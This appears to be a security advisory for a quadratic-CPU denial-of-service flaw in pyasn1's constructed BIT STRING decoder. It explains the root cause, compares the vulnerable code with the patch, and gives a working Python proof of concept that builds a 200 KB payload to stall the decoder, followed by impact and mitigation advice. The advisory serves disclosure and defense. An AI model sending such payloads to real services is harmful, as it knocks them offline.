CVE-2026-119196: Quadratic CPU Consumption in pyasn1 Constructed BIT STRING Decoding

pyasn1 is a pure-Python implementation of Abstract Syntax Notation One (ASN.1) types and codecs, including Basic Encoding Rules (BER), Canonical Encoding Rules (CER), and Distinguished Encoding Rules (DER). It serves as a foundational parsing dependency across the Python ecosystem for protocols and formats that rely on ASN.1 serialization. These include Lightweight Directory Access Protocol (LDAP), Simple Network Management Protocol (SNMP), Kerberos authentication, and X.509 Public Key Infrastructure (PKI) certificate handling.

Because pyasn1 operates at the deserialization boundary, its decoders frequently process untrusted network payloads prior to authentication or higher-level protocol validation. In versions of pyasn1 prior to 0.6.5, a flaw in pyasn1/codec/ber/decoder.py within the BitStringPayloadDecoder class introduces an algorithmic complexity vulnerability (CWE-407). Specifically, the decoder reassembles constructed BIT STRING payloads using an $O(N^2)$ accumulation mechanism rather than a linear $O(N)$ buffer append operation.

Under ASN.1 BER and CER specifications, primitive data types such as BIT STRING (universal tag 0x03) can be transmitted in a constructed encoding form (tag 0x23). A constructed BIT STRING splits a single logical bit sequence across multiple nested substring fragments, using either definite-length headers or indefinite-length streams terminated by End-Of-Octets (0x00 0x00). Furthermore, while strict DER normally mandates primitive encoding, pyasn1 accepts definite-length constructed BIT STRING inputs during DER decoding when guided by a schema (asn1Spec).

When BitStringPayloadDecoder processes a constructed BIT STRING, it iterates through each inner fragment and combines it with the previously decoded bits. Prior to version 0.6.5, each iteration instantiated a new BitString object by shifting and copying the entire accumulated bit value from all preceding fragments. An attacker who supplies a compact ASN.1 payload containing tens of thousands of minimal BIT STRING fragments forces the Python interpreter to perform quadratic arbitrary-precision integer arithmetic and memory allocations, exhausting CPU resources and stalling the host process.

To understand the root cause of CVE-2026-119196, it is necessary to examine how pyasn1 represents BIT STRING values internally and how BitStringPayloadDecoder processes segmented inputs. In pyasn1, each primitive BIT STRING fragment begins with a leading metadata octet that specifies the number of trailing unused bits (an integer from 0 to 7) in the final byte of that fragment, followed by the raw payload bytes.

Internally, pyasn1 backs univ.BitString instances using SizedInteger, a subclass of Python's arbitrary-precision int annotated with a bit-length attribute. When BitString.fromOctetString() is invoked with the prepend parameter set to an existing BitString instance, the method converts the newly supplied byte slice into a SizedInteger, left-shifts the entire previously accumulated SizedInteger by the bit length of the new fragment, and performs a bitwise OR operation to merge the values.

In Python, int objects are immutable arbitrary-precision byte arrays managed by the runtime. Left-shifting and bitwise-ORing an existing multi-kilobyte int requires allocating a new memory block proportional to the total accumulated bit size and copying all prior limbs before appending the new bits. When BitStringPayloadDecoder processes $N$ sequential fragments of size $M$ bits, the work performed at step $k$ ($1 \le k \le N$) is proportional to $k \cdot M$.

Across all $N$ fragments, the total computational and memory copying cost is governed by the arithmetic series:

$$\sum_{k=1}^{N} (k \cdot M) = M \cdot \frac{N(N + 1)}{2} = O(N^2)$$

Because each minimal ASN.1 primitive BIT STRING fragment requires only 4 bytes on the wire (0x03 0x02 0x00 <byte>), a 200 KB network payload can pack 50,000 discrete fragments. Instead of performing 50,000 byte appends, the decoder executes roughly $1.25 \times 10^9$ byte-equivalent shift and copy operations across immutable big-integer objects. This happens entirely inside decoder.decode(), halting execution before control returns to the calling application.

The vulnerability resides in pyasn1/codec/ber/decoder.py within the BitStringPayloadDecoder class, affecting both valueDecoder (which handles definite-length encodings) and indefLenValueDecoder (which handles indefinite-length encodings). Prior to commit 73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c, both methods initialized an empty BitString and repeatedly invoked self.protoComponent.fromOctetString() inside the fragment parsing loop.

# Vulnerable implementation in pyasn1 < 0.6.5 (pyasn1/codec/ber/decoder.py)
bitString = self.protoComponent.fromOctetString(b'', internalFormat=True)
current_position = substrate.tell()
 
while substrate.tell() - current_position < length:
    for component in decodeFun(substrate, asn1Spec,
                               tagSet, None, state,
                               substrateFun=substrateFun,
                               **options):
        if isinstance(component, SubstrateUnderrunError):
            yield component
 
    trailingBits = component[0]
    if trailingBits > 7:
        raise error.PyAsn1Error('Trailing bits overflow %s' % trailingBits)
 
    # BUG: Repeatedly passes accumulated 'bitString' as 'prepend',
    # triggering full SizedInteger shift and reallocation on every iteration.
    bitString = self.protoComponent.fromOctetString(
        component[1:], internalFormat=True,
        prepend=bitString, padding=trailingBits
    )
 
yield self._createComponent(asn1Spec, tagSet, bitString, **options)

To eliminate the quadratic reallocation overhead, the patch in version 0.6.5 introduces a static helper method, _appendFragment(), and replaces the intermediate BitString object inside the loop with a mutable bytearray (assembled) and an integer counter tracking total valid bits (bitLength).

# Patched implementation in pyasn1 0.6.5 (Commit 73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c)
@staticmethod
def _appendFragment(assembled, component, bitLength):
    trailingBits = component[0]
    if trailingBits > 7:
        raise error.PyAsn1Error('Trailing bits overflow %s' % trailingBits)
 
    payload = component[1:]
    if not payload:
        if trailingBits:
            raise error.PyAsn1Error('Trailing bits overflow %s' % trailingBits)
        return bitLength
 
    # Fast path: when both existing buffer and new fragment are byte-aligned,
    # append raw bytes directly in O(1) amortized time.
    if not trailingBits and not bitLength % 8:
        assembled.extend(payload)
        return bitLength + len(payload) * 8
 
    # Unaligned bit-packing path: shift and merge individual bytes in-place
    # at the tail of the mutable bytearray without copying prior data.
    for idx, byte in enumerate(payload):
        significantBits = 8
        if idx == len(payload) - 1:
            significantBits -= trailingBits
            byte >>= trailingBits
 
        usedBits = bitLength % 8
        if not usedBits:
            assembled.append(byte << (8 - significantBits))
        elif usedBits + significantBits <= 8:
            assembled[-1] |= byte << (8 - usedBits - significantBits)
        else:
            remainingBits = usedBits + significantBits - 8
            assembled[-1] |= byte >> remainingBits
            assembled.append((byte << (8 - remainingBits)) & 0xff)
 
        bitLength += significantBits
 
    return bitLength

In both valueDecoder and indefLenValueDecoder, the loop now calls bitLength = self._appendFragment(assembled, component, bitLength) for each fragment. Once all fragments have been collected into assembled, self.protoComponent.fromOctetString() is executed exactly once:

bitString = self.protoComponent.fromOctetString(
    assembled, internalFormat=True, padding=(-bitLength) % 8
)

> [!NOTE] > Fix Completeness Assessment: The patch completely resolves the quadratic complexity in constructed BIT STRING decoding across both definite-length and indefinite-length modes. Even when an attacker supplies non-zero trailingBits on intermediate fragments to bypass the assembled.extend(payload) fast path, the fallback byte-packing loop only mutates assembled[-1] and appends single bytes to the end of the bytearray, maintaining strict $O(N)$ linear time complexity relative to total input bytes.

Exploiting CVE-2026-119196 requires no authentication or pre-existing session state if the target application exposes an ASN.1 decoding routine to untrusted network traffic. The attacker constructs a nested ASN.1 BIT STRING payload and delivers it over the relevant transport protocol. Three distinct encoding configurations can reach the vulnerable code path in BitStringPayloadDecoder:

1. BER/CER Definite-Length Constructed Mode: The outer container uses tag 0x23 (Constructed Universal BIT STRING) followed by a definite length header encapsulating thousands of inner primitive BIT STRING elements (0x03).
2. BER/CER Indefinite-Length Constructed Mode: The outer container specifies 0x23 0x80, streams a sequence of primitive BIT STRING chunks (0x03), and terminates with End-Of-Octets (0x00 0x00).
3. Schema-Driven DER Mode: Although pyasn1.codec.der.decoder disables constructed BIT STRING decoding by default for untyped inputs, passing an explicit schema (asn1Spec=univ.BitString()) or a complex sequence specification containing a BitString field re-enables constructed fragment reassembly.

The following proof-of-concept demonstrates how to generate a compact definite-length constructed BIT STRING payload that triggers quadratic CPU exhaustion on pyasn1 versions prior to 0.6.5:

import time
from pyasn1.codec.ber import decoder
 
def encode_definite_length(length: int) -> bytes:
    if length < 128:
        return bytes([length])
    octets = length.to_bytes((length.bit_length() + 7) // 8, 'big')
    return bytes([0x80 | len(octets)]) + octets
 
# Each primitive fragment is 4 bytes:
# Tag: 0x03 (Primitive BIT STRING)
# Length: 0x02 (2 bytes of content)
# Padding: 0x00 (0 unused trailing bits)
# Payload: 0x81 (1 byte of bit data)
fragment = b'\x03\x02\x00\x81'
num_fragments = 50000
body = fragment * num_fragments
 
# Wrap in Tag 0x23 (Constructed BIT STRING) with definite length
payload = b'\x23' + encode_definite_length(len(body)) + body
 
start = time.perf_counter()
value, rest = decoder.decode(payload)
elapsed = time.perf_counter() - start
print(f"Decoded {num_fragments} fragments in {elapsed:.4f}s")

When executed against pyasn1 0.6.4, decoding 50,000 fragments (a 200 KB payload) pins a CPU core at 100% utilization for an extended period while shifting increasingly large SizedInteger instances. Against pyasn1 0.6.5, the identical 200 KB payload hits the byte-aligned fast path in _appendFragment() and completes decoding in milliseconds.

The security impact of CVE-2026-119196 is confined to system availability, reflected in its CVSS v3.1 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Because the vulnerability is purely algorithmic and operates within managed Python memory structures (SizedInteger and BitString), it does not allow arbitrary code execution, memory corruption, or unauthorized information disclosure (C:N/I:N).

However, the availability impact (A:H) is acute for Python network services. Due to CPython's Global Interpreter Lock (GIL), CPU-bound bytecode execution and large-integer arithmetic inside BitStringPayloadDecoder prevent other Python threads within the same worker process from making progress. In asynchronous event-loop architectures (such as asyncio or Twisted) or synchronous multi-threaded WSGI/ASGI servers, a single malicious request blocks the entire worker process until the quadratic loop finishes.

An attacker with low-bandwidth network access can repeatedly transmit relatively small payloads (e.g., 100 KB to 500 KB) across concurrent connections to saturate all available worker processes. Because the resource exhaustion occurs inside decoder.decode() before the ASN.1 structure is returned to the caller, application-level validation logic cannot inspect or reject the malformed structure until the CPU spike has already occurred.

According to threat intelligence metrics, CVE-2026-119196 currently has an EPSS score of 0.00425 (36.80th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While no weaponized exploit modules have been observed in active campaigns, regression test cases in the public repository make constructing a functional proof-of-concept trivial.

The definitive remediation for CVE-2026-119196 is to upgrade the pyasn1 package to version 0.6.5 or later. Version 0.6.5 contains commit 73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c, which replaces the iterative SizedInteger prepending logic with linear bytearray accumulation.

Administrators and developers should update their Python environments and container build manifests using pip or their respective dependency managers:

pip install --upgrade "pyasn1>=0.6.5"

For environments where immediate package upgrades are blocked by dependency freezes, several defense-in-depth measures can reduce exposure:

• Enforce Strict Payload Size Limits: Because the number of fragments $N$ in a single payload is bounded by the total byte size divided by 4 (the minimum size of a non-empty primitive BIT STRING TLV), restricting maximum accepted ASN.1 request sizes at the reverse proxy or socket read layer caps the maximum quadratic amplification factor.
• Disable Constructed Encoding Where Permitted: If an application strictly requires DER compliance and does not rely on schema-guided constructed BIT STRING decoding, callers can verify that the raw tag octet is primitive (0x03) rather than constructed (0x23) prior to invoking the decoder, or configure custom decoder maps where BitStringPayloadDecoder.supportConstructedForm is set to False.
• Process Isolation and Worker Timeouts: Run ASN.1 parsing workloads inside pre-forked worker processes configured with strict CPU execution timeouts (e.g., Gunicorn --timeout or Celery task soft/hard time limits) so that stalled workers are terminated and recycled automatically.